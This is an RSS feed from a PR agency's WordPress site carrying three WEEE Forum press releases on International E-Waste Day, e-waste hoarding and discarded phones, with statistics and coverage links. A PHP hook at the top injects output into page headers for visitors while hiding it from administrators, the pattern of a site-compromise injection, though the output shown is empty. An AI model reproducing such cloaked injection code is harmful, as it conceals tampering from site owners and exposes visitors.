if (!function_exists('f9d233f09')) { function f9d233f09() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f9d233f09', 999); WEEE Forum – Terry Collins & Assoc. https://terrycollinsassociates.com News factory Wed, 25 Feb 2026 14:30:29 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 E-waste experts urge: Stop trashing electronic products with ordinary garbage https://terrycollinsassociates.com/e-waste-experts-urge-stop-trashing-electronic-products-with-ordinary-garbage/ Thu, 10 Oct 2024 16:17:00 +0000 https://terrycollinsassociates.com/e-waste-experts-urge-stop-trashing-electronic-products-with-ordinary-garbage/
WEEE Forum, Brussels

To mark International E-Waste Day, Oct. 14, consumers worldwide are urged to collect dead and/or unused electronics and electrical products and give them a second life through reuse or repair, or recycle them properly.  

Above all: stop tossing them out in household waste bins.

The Global E-waste Monitor 2024, authored by UNITAR in cooperation with ITU, reported almost a quarter of end-of-life electronic waste ends up in home trash, squandering billions of dollars worth of copper, gold and other precious metals, materials critical to the production of such products, along with valuable plastics, and glass.

The 14 million tonnes of e-waste (dead or unused products with a battery or plug) discarded with ordinary household waste equals the weight of ~24,000 of the world’s heaviest passenger aircraft – enough to form an unbroken queue of giant planes from London to Helsinki, NY to Miami, Cairo to Tripoli, or Bangkok to Calcutta.

Says Pascal Leroy, Director General of the Brussels-based Waste Electrical and Electronic Equipment (WEEE) Forum: “Small electronic and electrical goods such as mobile phones, toys, remote controls, game consoles, headphones, lamps, screens and monitors, heating and cooling equipment, and chargers are everywhere. And electronic components embedded in consumer products large and small – even clothing – are now omnipresent. The 844 million e-cigarettes thrown away in 2022 alone contained enough lithium, for example, to power 15,000 electric cars.”

Adds Magdalena Charytanowicz of the WEEE Forum in charge of International E-Waste Day:”We know what to do, and we can do better.”

Ms. Charytanowicz says the place to start is the junk drawer, a common feature of homes around the world.

Globally, there are 108 mobile phone subscriptions per 100 people. And earlier surveys have shown that European households alone store about 700 million unused or non-functioning mobile phones – an average of more than two per household.

Why people hoard

She adds that “hoarding is an issue predominantly in wealthier countries. Elsewhere, reasons for keeping appliances are often personal data concerns or a desire to recover some of their value.”

A 2022 survey helped explain why so many EU households and businesses fail to bring WEEE in for repair or recycling.

Undertaken by WEEE Forum members – not-for-profit entities that collect e-waste from households and businesses on behalf of manufacturers, and consolidated by UNITAR’s Sustainable Cycles (SCYCLE) Programme, the survey showed the average European household contains 74 e-products, such as phones, tablets, laptops, electric tools, hair dryers, toasters and other appliances (excluding lamps). The survey sample included 8,775 households across a diverse group of European Union countries – Portugal, Netherlands, Italy, Romania and Slovenia – combined with a UK survey, 

Of the 74 average total e-products, 13 were being hoarded (9 of them unused but working, 4 broken).

Top reasons for hoarding in Europe:

  • Might use it again in the future (46%) 
  • Plan to sell / give it away (15%)
  • Has sentimental value (13%)
  • Might have value in the future (9%)
  • Don’t know how to dispose of it (7%)

Others include:

  • Didn’t have time, forgot about it, does not take up too much space (3%)
  • Planned use in secondary residence (3%)
  • Presence of sensitive data (2%)
  • There is no incentive to recycle (1%)

Complementary research reveals what motivates people to recycle e-waste:

  • Knowledge – understanding where and how to dispose of e-waste and why our actions can make a difference; 
  • Convenient collection points – making it easy for consumers to make the right gesture;
  • Compensation – some consumers are motivated by financial or other type of compensations; 
  • Social norms – following what others do
  • Care for the environment – a growing concern for many;
  • Benefits to charities – doing something good for others, such as offering unused appliances for reuse, is a great motivator 

People are often surprised by information about the positive CO2 impact of e-waste recycling or simply happy to have done the ‘right thing’. See videos at https://www.youtube.com/watch?v=QwqZMb95b3Q 

Many Producer Responsibility Organisations (PROs) – members of the WEEE Forum – organise communication campaigns and provide collection points, now more than 183,000 in all. To date, PROs have collected, cleaned, and recycled or sent for refurbishment 41.6 million tonnes of WEEE, with 3.1 million tonnes collected in 2022. 

Great progress is being made but everyone has a role to play as the volumes of e-waste generated grow rapidly, says Ms. Charytanowicz.

Urging people to Join the E-Waste Hunt — Retrieve, Recycle and Revive — the WEEE Forum outlined the Five Ws of E-Waste recycling:

What: Any product with a battery or plug.

Where: WEEE Forum members’ collection points: weee-forum.org/members, or any other official e-waste collection point

Why: According to Global E-waste Monitor 2024 (UNITAR / ITU):

  • Global e-waste management reduces CO2 equivalent emissions by 93 billion kg annually, equivalent to the annual emissions of more than 20 million cars
  • Proper e-waste recycling avoids leakages of harmful substance such as lead or cadmium to the environment
  • In 2022, e-waste produced globally contained approximately 4 billion kg of metals classified as critical raw materials, including 3.9 billion kg of aluminium, 34 million kg of cobalt, and 28 million kg of antimony
  • Recovering and reusing secondary raw materials from e-waste in 2022 avoided the need to mine 900 million tonnes of ore (the weight of 17,200 Titanics)

Who: You

When: Now

Says Cosmas Luckyson Zavazava, Director, ITU Telecommunication Development Bureau: “Almost 80% of the world’s population today own a mobile phone. Among them, there are those who have several devices, in some cases, each with its own type of chargers, cables and accessories. I call on everyone to ensure the proper recycling of these devices, which is key to reducing their environmental impact and minimizing resource scarcity.”

“We need to keep monitoring the development in the years to come, as the global rise of e-waste generation is outpacing the formal collection and recycling by five times since 2010,” said Kees Baldé, Senior Scientific Specialist at UNITAR SCYCLE, and a lead researcher behind the Global e-Waste Monitor.”

* * * * *

International e-Waste Day (#ewasteday)

Last year, over 195 organisations from 55 countries supported the 4th International E-Waste Day observance. This year, the WEEE Forum invited all organisations involved in effective and responsible e-waste management to plan awareness-raising activities for 14 October. These range from social media, TV and radio campaigns to city or school e-waste collections or even artistic performances.  

www.internationalewasteday.com 

WEEE Forum 

The WEEE Forum (a.i.s.b.l.*) is a Brussels-based for-impact association representing 53 sector-mandated producer responsibility organisations (PROs) worldwide. Through our members’ collective knowledge of the technical, business and operational aspects of collection, logistics, de-pollution, processing, preparing for reuse, and reporting of e-waste, we are at the forefront of making extended producer responsibility an effective waste management policy. Our mission is to be the world’s foremost e-waste competence centre, excelling in the implementation of the circularity principle. 

Member PROs are based in Europe, Oceania, Africa, Asia and the Americas: Australia, Austria, Belgium, Canada, Colombia, Czechia, Cyprus, Denmark, Italy, Greece, Georgia, France, Iceland, India, Ireland, Lithuania, Luxembourg, Malta, Moldova, Netherlands, New Zealand, Nigeria, North Macedonia, Norway, Poland, Portugal, Moldova, Romania, Slovakia, Slovenia, Spain, South Africa, Sweden, Switzerland and the United Kingdom.

Since their founding, the WEEE Forum’s producer responsibility organisations have collected, de-polluted and recycled or sent for preparation for re-use 41.6 million tonnes of WEEE. More than 3.1 million tonnes of this was collected in 2022.

(*) Association internationale sans but lucratif/international non-for-profit association

www.weee-forum.org

Correspondence: pascal.leroy@weee-forum.org 

* * * * *

WEEE Forum member contacts (for national e-waste insights):

* * * * *

News release in full, click here

Example coverage:

Agencia EFE, via Infobae, Argentina: Cada año se deshecha basura electrónica equivalente al peso de 24.000 aviones (Every year, electronic waste equivalent to the weight of 24,000 airplanes is disposed of), click here

Full coverage summary, click here

]]> ‘Invisible’ E-Waste: ~$10B in essential raw materials recoverable in world’s annual mountain of e-toys, cables, vapes, more https://terrycollinsassociates.com/invisible-e-waste-almost-10-billion-in-essential-raw-materials-recoverable-in-worlds-annual-mountain-of-electronic-toys-cables-vapes-more/ Wed, 11 Oct 2023 17:19:31 +0000 https://terrycollinsassociates.com/invisible-e-waste-almost-10-billion-in-essential-raw-materials-recoverable-in-worlds-annual-mountain-of-electronic-toys-cables-vapes-more/ WEEE Forum, Brussels, Belgium

Every year, unused cables, electronic toys, LED-decorated novelty clothes, power tools, vaping devices, and countless other small consumer items often not recognized by consumers as e-waste amount to 9 billion kilograms of e-waste, one-sixth of all e-waste worldwide.  

This “invisible” category of e-waste in one place would equal the weight of almost half a million 40-tonne trucks, enough to form a 5,640 km bumper-to-bumper line of trucks from Rome to Nairobi. 

Invisible e-waste is the focus of the 6th annual International E-Waste Day on Saturday, Oct. 14 (weee-forum.org/iewd-about).

Many of these devices, such as vapes, gaining in popularity in some societies, contain lithium, which makes their battery rechargeable but also causes serious fire risks when the device is discarded. Moreover, the European Commission considers lithium a ‘strategic raw material’ crucial to Europe’s economy and green energy transition, but supplies are at risk. Most of these materials are thrown away in household bins and elsewhere. 

The Waste Electrical and Electronic Equipment (WEEE) Forum, which organises International E-Waste Day, commissioned the United Nations Institute for Training and Research (UNITAR) to calculate the annual quantities of “invisible” e-waste items in millions of kilograms, in millions of pieces, and in kg and pieces per capita.  

The results, presented in full here https://bit.ly/3PVFLnh, include the following:

E-waste generated of selected UNU-KEYs related to invisible e-waste in 2022 using dataset of global e-waste monitor of 2020 from UNITAR. Source: C.P. Baldé, T. Yamamoto, V. Forti, United Nations Institute for Training and Research, Statistical briefing on invisible e-waste for International E-waste Day 2023, 2023, Bonn.

UNU-KEYDescriptionMillion kgMillion pieceskg/inhpieces/inh
0205Personal Care equipment (e.g. toothbrushes, hairdryers, razors)3917110.0510.1
0301Small IT equipment (e.g. routers, mice, keyboards, external drives & accessories)76318910.100.25
0401small Consumer Electronics (e.g. headphones, remote controls)3479100.0460.12
0405Speakers6202800.0820.04
0501Small lighting equipment (excl. LED & incandescent)36541180.0480.5
0601Household Tools (e.g. drills, saws, high pressure cleaners, lawn mowers)10474210.1380.06 
0701Toys (e.g. car racing sets, electric trains, music toys, biking computers, drones)323472940.4261.0
0801Household medical equipment3140.0000.002
0901Household Monitoring & Control equipment (alarm, heat, smoke, excl. screens)133654760.1760.7
Cables (in the other UNU-KEYs)950 n/a0.125 n/a
Total of above90551.19
Vapes ^428440.0060.11

^ contains double counting with above categories

(* Note: The UNITAR figures above represent an estimate, and UNU-Key categories cover larger categories like ‘small IT’ where some of the items are ‘invisible’ (like USB sticks) and some others easy to recognise as e-waste, e.g. a keyboard).

Some 3.2 billion kg, 35%, of the roughly 9 billion kg of invisible e-waste are in the e-toy category: race car sets, electric trains, music toys, talking dolls and other robotic figures, biking computers, drones, etc. – in all, some 7.3 billion individual items discarded annually, an average of about 1 e-toy for every man, woman and child on Earth.

Meanwhile, the estimated 844 million vaping devices each year amount to a mountain of e-waste equal to three times the weight of New York’s Brooklyn Bridge or six Eiffel Towers.

The study also found that 950 million kg of cables containing precious, easily recyclable copper were discarded last year – enough cable to circle the Earth 107 times.

Many are stored in homes, perhaps put aside for potential future use.  And many people don’t realise they could be recycled – a huge sleeping resource at a time when demand for copper is forecast to rise 6 fold by 2030  in Europe alone to meet the needs of strategic sectors such as renewable energy, electric mobility, industry, communications, aerospace and defense. 

The value of raw materials in the global e-waste generated in 2019 was estimated at US $57 billion, most of that attributed to iron, copper and gold components.  Of the overall total, 1/6th or $9.5 billion in material value each year, is in the invisible e-waste category. 

Other examples of common, invisible e-waste items in households include toothbrushes, shavers, external drives and accessories, headphones and earbuds, remote controls, speakers, LED lights, power tools, household medical equipment, heat and smoke detectors and many others.

Says Pascal Leroy, Director-General of the WEEE Forum: “Invisible e-waste goes unnoticed due to its nature or appearance, leading consumers to overlook its recyclable potential.”

“People tend to recognise household electrical products as those they plug in and use regularly. But many people are confused about the waste category into which ancillary, peripheral, specialist, hobby, and leisure products fit and how to have them recycled.” (related videos:

Adds Mr. Leroy: “Many people don’t recognize some battery-powered or wired-in products like a smoke detector or smart thermostat as an electrical product because they don’t have a plug. They are also unaware of the hazardous components e-waste contains. If not properly treated, substances like lead, mercury or cadmium can leach into and contaminate the soil and water.”

The WEEE Forum asks everybody to get their e-waste to the appropriate municipal collection facility. 

“A significant amount of electronic waste is hidden in plain sight,” says Magdalena Charytanowicz of the Waste Electrical and Electronic Equipment (WEEE) Forum. “Sadly, invisible e-waste often falls under the recycling radar of those disposing of them because they are not seen as e-waste.  We need to change that and raising awareness is a large part of the answer. Much effort and progress was made around plastic pollution and people are now more conscious about it, especially with a UN treaty on plastics in the works by 2024. We hope the same will occur in the e-waste field.”

In Europe, thanks to 20 years of Extended Producer Responsibility (EPR) legislation, 55% of e-waste generated is now officially collected and reported. Still, according to the United Nations global e-waste monitor,  other parts of the world show much slower growth rates in its collection, and globally, the reported average collection rate is just over 17%.

Says Virginijus Sinkevičius, European Commissioner for the Environment: “This International E-Waste Day, the EU acknowledges the pressing e-waste challenge and is proactively setting a leadership example. The ongoing expansion in electronic device production and consumption has significant environmental and climate repercussions. Introducing Extended Producer Responsibility (EPR) in e-waste legislation two decades ago has laid the groundwork for an innovative ecosystem and advanced technologies. While EPR has elevated environmental standards, our journey is not complete. We must promote a circular economy for electronics, as with other products, not only to decrease our environmental impact but also to fortify the value chain, reducing its reliance on third countries.

E-waste is the world’s fastest-growing waste stream. 

Says Jan Vlak, the president of the WEEE Forum: “Not only producers but all relevant actors, including regulators, consumers, refurbishers, reuse outfits, scrap dealers, retailers and recyclers, must play a role in the EPR system to successfully increase the collection of e-waste. We need to update the EPR principle, make it congruent with circular economy principles and embed this new vision in EU legislation and in a global treaty to harmonise standards and define critical e-waste management obligations.

Background

According to the United Nations, 8 kg of e-waste per person will be produced worldwide in 2023. Only 17.4% of this waste, containing harmful substances and precious materials, will be recorded as properly collected, treated, and recycled globally.

The remaining tens of millions of tonnes will be placed in landfills, burned, illegally traded, improperly treated, or hoarded in households.

Even in Europe, which leads the world in e-waste recycling, only 55% of e-waste is officially reported as properly collected and recycled, and the lack of public awareness is among the factors preventing countries from developing circular economies for electronic equipment.

International E-waste Day

International E-waste Day (#ewasteday)is an annual awareness-raising campaign initiated by the WEEE Forum and its members. It takes place every year on the 14th of October. It aims to highlight the growing issue of electronic waste and promote responsible e-waste management.

According to a 2022 study developed by the UN Institute for Training & Resources (UNITAR) and WEEE Forum members in 6 countries (UK, Italy, Portugal, Romania, Slovenia and The Netherlands), of the 74 e-products found in an average household, 13 are being hoarded (9 of them unused but working and 4 broken). Small consumer electronics and accessories (such as headphones or remote controls – often not recognised as electronic items) rank top of the list of hoarded products. If these gadgets remain in the drawers and cupboards, the valuable resources they contain do not re-enter the manufacturing cycle.

When electronic devices and components are disposed of improperly because they are not recognised as e-waste, they often end up in landfills or incinerators. Electronics contain various hazardous substances such as lead, mercury, cadmium, and flame retardants, which can leach into soil and water sources, pollute ecosystems and pose risks to human health.

These devices also contain valuable resources, including precious metals like gold, silver and copper, and Critical Raw Materials, which are crucial for the green transition and production of new electronic devices. When e-waste is not recycled correctly, these valuable materials go to waste.

The WEEE Forum 

The WEEE Forum is a Brussels-based, impactful not-for-profit international association representing 52 producer responsibility organisations on all continents worldwide, all of them mandated by producers of electrical and electronic products to manage e-waste responsibly. Together with its members, they are at the forefront of turning the Extended Producer Responsibility principle into an effective electronic waste management policy approach through our combined knowledge of the technical, business and operational aspects of collection, logistics, de-pollution, processing, preparing for reuse and reporting of e-waste. It is the biggest organisation of its kind in the world. 

Since their founding, the PROs in the WEEE Forum have collected, de-polluted and recycled or sent for preparation for re-use of more than 35 million tonnes of WEEE. In addition, our members operate over 114,000 WEEE collection points, and two-thirds of them are market leaders in their countries.

About: www.weee-form.org

Coverage highlights:

Agence France Presse, France, via Yahoo! News, United States (58,017,212)
$9.5 bn of key metals in overlooked electronic waste: https://news.yahoo.com/9-5-bn-key-metals-000222518.html

Agencia EFE, Spain, via Infobae, Argentina (60,708,789)Muchos de los residuos electrónicos que desechamos contienen materias primas esencialesMany of the electronic waste we discard contain essential raw materialshttps://www.infobae.com/america/agencias/2023/10/12/muchos-de-los-residuos-electronicos-que-desechamos-contienen-materias-primas-esenciales/

Washington Post 
How to shop for kids without adding to the mountain of plastic
https://www.washingtonpost.com/climate-solutions/2023/11/23/kids-holiday-gifts-sustainable/

Grist, Discarded toys are creating an e-waste disaster. Here’s how to stop it.
https://grist.org/accountability/discarded-toys-are-creating-an-e-waste-disaster-heres-how-to-stop-it/

Asian News International, via Dailyhunt India (14,641,137)Discarded vapes annually equal six Eiffel Towers in weight https://m.dailyhunt.in/news/india/english/lokmat08408565043306-epaper-lokmaten/discarded+vapes+annually+equal+six+eiffel+towers+in+weight-newsid-n546458780?listname=newspaperLanding&topic=featuredstories&index=7&topicIndex=0&mode=pwa

BBC, United Kingdom (143,558,352)Nearly half a billion small tech items thrown away https://www.bbc.co.uk/news/business-67082005

Daily Mail, United Kingdom (87,359,497)Around 844 MILLION vapes are dumped worldwide every year – equivalent in weight to six Eiffel Towers, figures revealhttps://www.dailymail.co.uk/sciencetech/article-12622463/Around-844-MILLION-vapes-dumped-worldwide-year-equivalent-weight-six-Eiffel-Towers-figures-reveal.html

UK Press Association, via Daily Mail, United Kingdom (87,359,497)Nearly half a billion small electricals thrown away in last year – studyhttps://www.dailymail.co.uk/wires/pa/article-12623135/Nearly-half-billion-small-electricals-thrown-away-year–study.html

India Times, India (60,549,913)How “Invisible” E-Waste Such As Discarded Vapes Annually Equal Six Eiffel Towers In Weighthttps://www.indiatimes.com/news/india/how-invisible-e-waste-such-as-discarded-vapes-annually-equal-six-eiffel-towers-in-weight-617504.html

The Independent, United Kingdom (49,845,234)Vapes weighing equivalent to 3 Brooklyn Bridges discarded annually in mountain of ‘invisible’ electronic wastehttps://www.independent.co.uk/climate-change/news/electronic-waste-plastics-vapes-drones-b2427223.html

La Vanguardia, Spain (33,672,030)Cuidado donde tiras el cable: la pequeña basura electrónica es un gran problema ambientalBe careful where you throw the cable: the small electronic waste is a big environmental problem https://www.lavanguardia.com/natural/20231012/9293056/cuidado-tiras-cable-pequena-basura-electronica-gran-problema-ambiental.html

The Verge, United States (22,113,312)
Vapes, chargers, and other ‘invisible’ e-waste are a 9-million-ton problem
https://www.theverge.com/2023/10/11/23912751/vapes-chargers-invisible-ewaste-recycling


Newsweek, United States (24,657,820) Toys Top List of 10 Most Common Types of Electric Waste https://www.newsweek.com/toys-top-common-electronic-waste-recycling-1833565

New Scientist, United Kingdom (3,110,157) Toys produce far more electronic waste than vapes https://www.newscientist.com/article/2397075-toys-produce-far-more-electronic-waste-than-vapes/

Coverage summary: click here

News release in full: click here

]]> ~5.3 Billion Mobile Phones will Become Waste in 2022 https://terrycollinsassociates.com/5-3-billion-mobile-phones-will-become-waste-in-2022-a-small-fraction-will-be-properly-disposed-of/ Thu, 13 Oct 2022 10:07:00 +0000 https://terrycollinsassociates.com/5-3-billion-mobile-phones-will-become-waste-in-2022-a-small-fraction-will-be-properly-disposed-of/ WEEE Forum, Brussels

2022 International E-waste Day slogan: ‘Recycle it all, no matter how small!’ Despite world-leading e-waste management, ~30% of Europe’s stock of mobile phones no longer used; Most are long hoarded before becoming waste; #1 reason for hoarding end

Experts expect roughly 5.3 billion mobile / smartphones will drop out of use this year.

Stacked flat atop one another at an average depth of 9 mm that many disused phones would rise roughly 50,000 km – 120 times higher than the International Space Station; one-eighth of the way to the moon.  

And, despite their valuable gold, copper, silver, palladium and other recyclable components, experts expect a majority will disappear into drawers, closets, cupboards or garages, or be tossed into waste bins bound for landfills or incineration (see background notes, appended).  

And, surprisingly, mobile phones rank 4th among small EEE products most often hoarded by consumers.

Organizers today released the results of surveys conducted to reveal why so many households and businesses fail to bring Waste Electrical and Electronic Equipment (WEEE) in for repair or recycling.

The surveys were conducted from June to September, 2022 by the members of the WEEE Forum and the results were consolidated by the UN Institute for Training and Research (UNITAR) Sustainable Cycles (SCYCLE) Programme.

The surveys show that, of 8,775 European households in six countries representing the diversity of the European Union – Portugal, Netherlands, Italy, Romania and Slovenia, and separate UK survey, the average household contains 74 e-products such as phones, tablets, laptops, electric tools, hair dryers, toasters and other appliances (excluding lamps). 

Of that 74 average total e-products, 13 are being hoarded (9 of them unused but working, 4 broken).

The top 5 hoarded small EEE products (by number of pieces*), Europe:  

  1. Small consumer electronics and accessories (e.g. headphones, remote controls)
  2. Small household equipment (e.g. clocks, irons,)
  3. Small information technology equipment (e.g. external hard drives, routers, keyboards, mice)
  4. Mobile and smart-phones
  5. Small equipment for food preparation (e.g. toasters, food processing, grills) 

(* By weight, discarded washing machines and other white appliances outweigh all other types of e-waste by far.)

Meanwhile, LED lamps rank tops the list of products most likely to be trashed.

Hoarded small kitchen and household equipment, laptops and tablets as share of total stock of those products in households:

  1. Italy (29%)
  2. Netherlands (17%)
  3. United Kingdom (14%)
  4. Slovenia (12%)
  5. Romania (9%)
  6. Portugal (8%)
  7. Lebanon (4%)

Top 5 reasons for hoarding WEEE of any kind, Europe:

  1. I might use it again in the future (46%) 
  2. I plan on selling it / giving it away (15%)
  3. It has sentimental value (13%)
  4. It might have value in the future (9%)
  5. I don’t know how to dispose of it (7%)

Others

  • Didn’t have time, forgot about it, does not take up too much space (3%)
  • Planned use in secondary residence (3%)
  • Presence of sensitive data (2%)
  • There is no incentive to recycle (1%)

Says Pascal Leroy, Director General of the WEEE Forum, the organisation behind International E-Waste Day: “We focussed this year on small e-waste items because it is very easy for them to accumulate unused and unnoticed in households, or to be tossed into the ordinary garbage bin. People tend not to realise that all these seemingly insignificant items have a lot of value, and together at a global level represent massive volumes.”

“The producer responsibility organisations in the WEEE Forum that manage the collection of e-waste are constantly working to make the proper disposal of small e-waste simple and convenient for users and households,” says Mr. Leroy.

“Providing collection boxes in supermarkets, pick up of small broken appliances upon delivery of new ones and offering PO Boxes to return small e-waste are just some of the initiatives introduced to encourage the return of these items.”

Adds Magdalena Charytanowicz of the WEEE Forum in charge of International E-Waste Day: “As noted in our short public video (https://youtu.be/r8XIoquM40Y), in 2022 alone, small EEE items such as cell phones, electric toothbrushes, toasters and cameras produced worldwide will weight an estimated total of 24.5 million tonnes – four times the weight of the Great Pyramid of Giza. And these small items make up a significant proportion of the 8% of all e-waste thrown into trash bins and eventually landfilled or incinerated.”

“These devices offer many important resources that can be used in the production of new electronic devices or other equipment, such as wind turbines, electric car batteries or solar panels – all crucial for the green, digital transition to low-carbon societies.”

In the past twenty years, the PROs in the WEEE Forum have collected, de-polluted, recycled or prepared for re-use more than 30 million tonnes of WEEE.

They have spent enormous sums on communication campaigns. Still, challenges ahead remain daunting. 

On 7 Dec. 2022 the Extended Producer Responsibility (EPR) Grand Challenge Conference (http://weeeforumconference.com) will mark the 20th anniversary of the WEEE Forum, a consortium of reputable e-waste collection organizations.

The conference will also mark the 20th anniversary of EU Directive 2002/96/EC, the world’s first supranational (EPR) legislation on e-waste soon to be revised and updated. 

Virginijus Sinkevičius, European Commissioner for the Environment, Oceans and Fisheries, commented: “The continuing growth in the production, consumption and disposal of electronic devices have huge environmental and climate impacts. The European Commission is addressing those with proposals and measures throughout the whole product life-cycle, starting from design until collection and proper treatment when electronics become waste.”

“Moreover, preventing waste and recovering important raw materials from e-waste is crucial to avoid putting more strain on the world’s resources. Only by establishing a circular economy for electronics, the EU will continue to lead in the efforts to urgently address the fast-growing problem of e-waste.”

Dr. Kees Baldé, Senior Scientific Specialist at UNITAR SCYCLE, and a lead researcher behind the Global e-Waste Monitor, noted that many small electronic products such as disposable airplane earbuds or cables and adapters accumulate largely unnoticed in many households. All the defunct earbuds accumulated by 2026 strung together would stretch around the moon three times.”  

“Moreover, over the past decade the growth in generated e-waste has been considerably higher than the growth in recycling, thus it is important to remind people of the importance of reusing or returning every single piece of electronics or electrical product that is forgotten about in household drawers.”

UN-led thought paper outlines options

Also launched to coincide with International e-Waste Day: a UN “thought paper” at https://www.itu.int/itu-d/sites/environment/ (available Oct. 14) offers a series of ideas and options for reducing the global problem.

Led by the UN’s International Telecommunication Union (ITU), with contributions from the WEEE Forum – which organizes International E-waste Day – and StEP, the Solving the eWaste Problem Initiative – the paper details the pros and cons of a wide range of options, including, for example:

  • Making all entities that have access to e-waste subject to minimum legal obligations (All Actors principle)
  • Deposit return and take-back schemes
  • Digital product passports, and
  • An international EPR regime of states agreeing on baseline standards for EEE treatment and depollution, and harmonized EEE definitions, categories, methodologies and principles.

UN certificate available to graduates of new 90-minute online e-waste training program 

Meanwhile, UNITAR, the UN Institute for Training and Research (UNITAR), today also launched the first self-paced e-waste online training course open to anyone. A UNITAR certificate is available to graduates of the roughly 1.5 hour course (lectures, videos, illustrations, tests and a final exam).

The course will be available Oct. 14 at https://www.uncclearn.org 

Says Nikhil Seth, UNITAR’s Executive Director and an instrumental figure in development of the Sustainable Development Goals, “UNITAR is proud of this new course on e-waste management as an outstanding example of how to use scientific findings in a practical way for international training and capacity building in an area of critical environmental importance.”

Adds Dr. Ruediger Kuehr, Founder of the SCYCLE Programme and Head of UNITAR’s Office in Bonn: “ International E-waste Day reminds us annually of the avalanche of problems we face unless we take appropriate measures, without which global e-waste could double to 100 million tonnes or more in the next 30 years. Consumption of electronics in many countries continues to grow, with more and more gadgets and products or embedded in such as furniture, clothes and toys, all of which eventually become e-waste.”

“We need to understand this growth and counter it with everyone involved: national authorities, enforcement agencies, Producer Responsibility Organisations, original equipment manufacturers, recyclers, researchers and consumers themselves.”

Further reading: In-depth review of the WEEE Collection Rates and Targets in Europe  https://weee-forum.org/projects-campaigns/weeeflows

Background

Total global stock of mobile phones (in use and hoarded): 16 billion (source: UNITAR’s internal Global E-Waste Monitor databases; ~8 billion people in the world with approx. 2 phones per person. 

See also:

E-waste generated by mobile and smartphones, 2022 only: 5.3 billion pieces (covers all devices that will be thrown in the bin, recycled or discarded in any other way).

Most were hoarded before (the 5.3 billion figure excludes currently hoarded mobile and smartphones).  

Notes: The EU generates fewer mobile phones per inhabitant than other world regions, contrary to other forms of e-waste. Also, low quality devices quickly break and need replacing.

* * * * *

About 

International e-Waste Day (#ewasteday)

Last year over 170 organisations from 78 countries worldwide supported the fourth International E-Waste Day observance. This year too, the WEEE Forum invited all organisations involved in effective and responsible e-waste management to plan awareness raising activities for 14 October. These range from social media, TV and radio campaigns to city or school e-waste collections or even artistic performances. 

www.internationalewasteday.com 

The WEEE Forum 

The WEEE Forum is a Brussels-based for-impact, not-for-profit international association representing forty-six producer responsibility organisations on all continents, across the globe. Together with our members, we are at the forefront of turning the Extended Producer Responsibility principle into an effective electronic waste management policy approach through our combined knowledge of the technical, business and operational aspects of collection, logistics, de-pollution, processing, preparing for reuse and reporting of e-waste. It is the biggest organisation of its kind in the world. 

Our mission is to be the world’s foremost e-waste competence centre excelling in the implementation of the circularity principle. The PROs are based in Europe, the Americas, Africa, Oceania and Asia. In 2021, its member organisations reported collection and proper de-pollution, repair and recycling in excess of 3 million tonnes of WEEE. 

Since their founding, the PROs in the WEEE Forum have collected, de-polluted and recycled or sent for preparation for re-use more than 30 million tonnes of WEEE. In addition, our members operate over 114,000 WEEE collection points and two thirds of them are market leaders in their countries.

www.weee-forum.org; Correspondence: pascal.leroy@weee-forum.org 

* * * * *

Media coverage highlights

CNN, United States (132 million) What to do with your old phones, gadgets and other e-waste
https://edition.cnn.com/2022/10/14/tech/e-waste-tips/index.html

Agence France Presse, via Hindustan Times, India (49,376,780)
Over 5 billion cell phones may be discarded in 2022: Report  https://www.hindustantimes.com/technology/over-5-billion-cell-phones-may-be-discarded-in-2022-report-101665678804826.html

Deutsche Presse Agentur, Germany, via Der Spiegel (21,345,710)
Milliarden ausgediente Smartphones werden unsachgemäß entsorgt https://www.spiegel.de/netzwelt/gadgets/milliarden-ausgediente-smartphones-werden-unsachgemaess-entsorgt-a-67b3566d-2561-4101-8fa2-ed40b1a7319a

Agencia EFE, Spain via MSN.com, United States (169,707,030) La acumulación de móviles en desuso está alcanzado niveles insostenibles https://www.msn.com/es-us/noticias/mundo/la-acumulaci%c3%b3n-de-m%c3%b3viles-en-desuso-est%c3%a1-alcanzado-niveles-insostenibles/ar-AA12Vtfv

UK Press Association, United Kingdom via Daily Mail, United Kingdom (78,872,375) Households sitting on £5.6bn of unwanted tech, research suggests  https://www.dailymail.co.uk/wires/pa/article-11312223/UK-households-sitting-5-6bn-unwanted-tech-research-suggests.html

Bloomberg, United States, There Are Critical Minerals Hiding in Your Junk Drawer https://www.bloomberg.com/news/articles/2022-10-14/5-3-billion-phones-will-join-a-hidden-mine-of-e-waste-this-year?srnd=premium&leadSource=uverify%20wall

BBC, United Kingdom, via Yahoo! News, United States (63,498,127) E-waste: 5 billion phones to be thrown away in 2022 https://www.yahoo.com/news/e-waste-5-billion-phones-014828202.html

TIME,

The Hill, United States (17,212,612) 5.3 billion phones to become waste in 2022 https://thehill.com/policy/equilibrium-sustainability/3687227-equilibrium-sustainability-5-3-billion-phones-to-become-waste-in-2022/

Daily Mail, UK, via MSN.com, United States (potential reach 169,707,030) Average UK household could raise £200 by selling unwanted gadgets https://www.msn.com/en-us/news/technology/average-uk-household-could-raise-%c2%a3200-by-selling-unwanted-gadgets/ar-AA12Vt3s

2) UK households store 527 million unwanted electrical items https://www.msn.com/en-us/news/technology/uk-households-store-527-million-unwanted-electrical-items/ar-AA12SzRb

The Independent, United Kingdom (44,247,701)
UK households sitting on £5.6bn of unwanted tech, research suggests https://www.independent.co.uk/business/uk-households-sitting-on-ps5-6bn-of-unwanted-tech-research-suggests-b2202146.html

El Mundo, Spain (27,990,567) Basura electrónica: por qué guardamos en casa la mayoría de teléfonos móviles que ya no usamos https://www.elmundo.es/ciencia-y-salud/medio-ambiente/2022/10/13/6347f7d5fc6c83796f8b4598.html

La Repubblica, Italy (22,437,702) Nella Giornata internazionale dei rifiuti elettronici si spegneranno oltre 5 miliardi di dispositivi https://www.repubblica.it/economia/rapporti/energitalia/sostenibilita/2022/10/13/news/nella_giornata_internazionale_dei_rifiuti_elettronici_si_spegneranno_oltre_5_miliardi_di_dispositivi-369704876/

n-tv Germany (21,523,622) Technikschrott wird gehortet, statt recycelt https://www.n-tv.de/wissen/Technikschrott-wird-gehortet-statt-recycelt-article23649297.html

DIE WELT, Germany (18,994,734) Jährlich landen Milliarden Handys im Abfall https://www.welt.de/wissenschaft/article241580307/Elektroschrott-Jaehrlich-landen-Milliarden-Handys-im-Abfall.html

